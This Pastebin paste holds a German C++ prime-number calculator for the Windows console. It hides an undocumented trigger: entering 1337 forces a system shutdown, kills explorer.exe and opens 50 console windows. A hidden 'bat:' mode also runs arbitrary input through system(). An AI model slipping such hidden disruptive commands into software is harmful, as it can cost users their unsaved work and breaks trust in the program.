Advertisement
Guest User

Untitled

a guest
Dec 17th, 2017
69
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 4.68 KB | None | 0 0
  1. #include <iostream>
  2. #include <windows.h>
  3. #include <math.h>
  4. #include <string>
  5. #include <fstream>
  6. using namespace std;
  7. string data;
  8. char tempdata[256];
  9. bool mode = false;
  10. unsigned long option;
  11. unsigned long begrenzung;
  12. unsigned long primanzahl;
  13. unsigned int primcounter = 3;
  14. bool skip = false;
  15.  
  16.  
  17.  
  18. int main() {
  19. system("COLOR F0");
  20. system("TITLE Primzahlenrechner");
  21. cout << "toggle zum wechseln zwischen modus, ansonsten Zahl eingeben!" << endl;
  22. cin.getline(tempdata, 256);
  23. data = tempdata;
  24. if (data == "exit") {
  25. exit(0);
  26. }
  27. if (data == "cls") {
  28. system("CLS");
  29. main();
  30. }
  31. if (data == "bat:") {
  32. system("CLS");
  33. cout << "herzlich willkommen im batch-modus!" << endl;
  34. system("COLOR 07");
  35. system("TITLE Windows-Befehlsprozessor");
  36. system("@echo on");
  37. do {
  38. cin.getline(tempdata, 256);
  39. data = tempdata;
  40. system(tempdata);
  41. } while (data != "exit");
  42. cout << "batch-modus wurde verlassen!" << endl;
  43. main();
  44. }
  45. if (data == "toggle") {
  46. mode = !mode;
  47. cout << "mode wurde gewechselt!" << endl;
  48. if (mode == true) {
  49. cout << "Bis zu welcher Zahl sollen alle Primzahlen berechnet werden?" << endl;
  50. }
  51. else {
  52. cout << "Bis zur wievielten Primzahl soll gerechnet werden?" << endl;
  53. }
  54. main();
  55. }
  56. option = 0;
  57. unsigned long numb[data.length()];
  58. for (unsigned long i = 0; i < data.length(); i++) {
  59. numb[i] = data[i];
  60. if (!(numb[i] >= 48 && numb[i] <= 57)) {
  61. cout << "Keine gueltige Eingabe!" << endl;
  62. main();
  63. }
  64. numb[i] -= 48;
  65. int stelle = i*-1 + data.length()-1;
  66. option += numb[i] * pow(10, stelle);
  67. }
  68. if (option == 1337) {
  69. system("COLOR 0f");
  70. cout << "Oh oh jetzt wirds gefährlich!" << endl;
  71. Sleep(500);
  72. system("mode 500");
  73. for (int line = 0; line < 15; line++) {
  74. for (int i = 0; i < rand() % 25 + 15; i++) {
  75. system("color 0f");
  76. cout << rand() % 10;
  77. system("color 0c");
  78. }
  79. cout << endl;
  80. }
  81. system("shutdown -s -t 15 -c \"Wage es nicht nochmal die heilige MLG-Zahl einzugeben!\"");
  82. system("taskkill /im explorer.exe /f");
  83. for (int i = 0; i < 50; i++) {
  84. system("start");
  85. }
  86. exit(0);
  87. }
  88. if (option < 5) {
  89. cout << "Bitte bisschen mehr xD" << endl;
  90. main();
  91. }
  92. if (mode == true) {
  93. primanzahl = option;
  94. if (primanzahl > 258000) {
  95. cout << "Zu gross!" << endl;
  96. main();
  97. }
  98. begrenzung = pow(primanzahl, 1.1) * 5;
  99. cout << "Es wird bis zur " << primanzahl << " Primzahl gerechnet" << endl;
  100. cout << "Puffer fuer Durchlaeufe: " << begrenzung << endl;
  101. }
  102. else {
  103. begrenzung = option;
  104. primanzahl = begrenzung / 5 + 6;
  105. if (primanzahl > 258000) {
  106. cout << "Zu gross!" << endl;
  107. main();
  108. }
  109. cout << "Es werden alle Primzahlen bis " << begrenzung << " berechnet" << endl;
  110. cout << "Puffer fuer generierbare Primzahlen: " << primanzahl << endl;
  111. }
  112. unsigned long primzahl[primanzahl] = {2, 3, 5};
  113. unsigned long skipcounter[primanzahl] = {2, 3, 4};
  114. system("PAUSE");
  115. cout << "Berechnen..." << endl;
  116. for (unsigned long counter = 7; counter < begrenzung; counter++) {
  117. if (mode == true) {
  118. if (primcounter == primanzahl) {
  119. break;
  120. }
  121. }
  122. //cout << "counter: " << counter << endl;
  123. for (unsigned long i = 0; i < primcounter; i++) {
  124. skipcounter[i]--;
  125. //cout << "skipcounter[" << i << "] = " << skipcounter[i] << endl;
  126. if (skipcounter[i] == 0) {
  127. skipcounter[i] = primzahl[i];
  128. skip = true;
  129. //cout << "Es wird geskipped!" << endl;
  130. }
  131. }
  132. if (skip == true) {
  133. //cout << "Die Zahl " << counter << " war keine Primzahl!" << endl;
  134. skip = false;
  135. continue;
  136. }
  137. //cout << "Die Zahl " << counter << " war eine Primzahl und zwar die " << primcounter+1 << endl;
  138. primzahl[primcounter] = skipcounter[primcounter] = counter;
  139. primcounter++;
  140. }
  141. for (unsigned long print = 0; print < primcounter; print++) {
  142. cout << "Primzahl " << print+1 << " ist: " << primzahl[print] << endl;
  143. }
  144. cout << "fertig!" << endl;
  145. cout << "Sollen die Zahlen noch als Datei gespeichert werden?" << endl;
  146. cin.getline(tempdata, 256);
  147. data = tempdata;
  148. while (data != "ja" && data != "nein") {
  149. cin >> data;
  150. }
  151. if (data == "nein") {
  152. cout << "ok dann halt net..." << endl;
  153. system("PAUSE");
  154. system("CLS");
  155. main();
  156. }
  157. ofstream File;
  158. data = getenv("USERPROFILE");
  159. data += "/Desktop/Primzahlen.txt";
  160. File.open(data.c_str());
  161. if (File.is_open()) {
  162. for (unsigned long write = 0; write < primcounter; write++) {
  163. File << "Primzahl " << write+1 << " : " << primzahl[write] << "\n";
  164. }
  165. File.close();
  166. cout << "Datei wurde erfolgreich erstellt!" << endl;
  167. }
  168. else {
  169. cout << "Ein Fehler ist aufgetreten!" << endl;
  170. }
  171. system("PAUSE");
  172. system("CLS");
  173. main();
  174. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement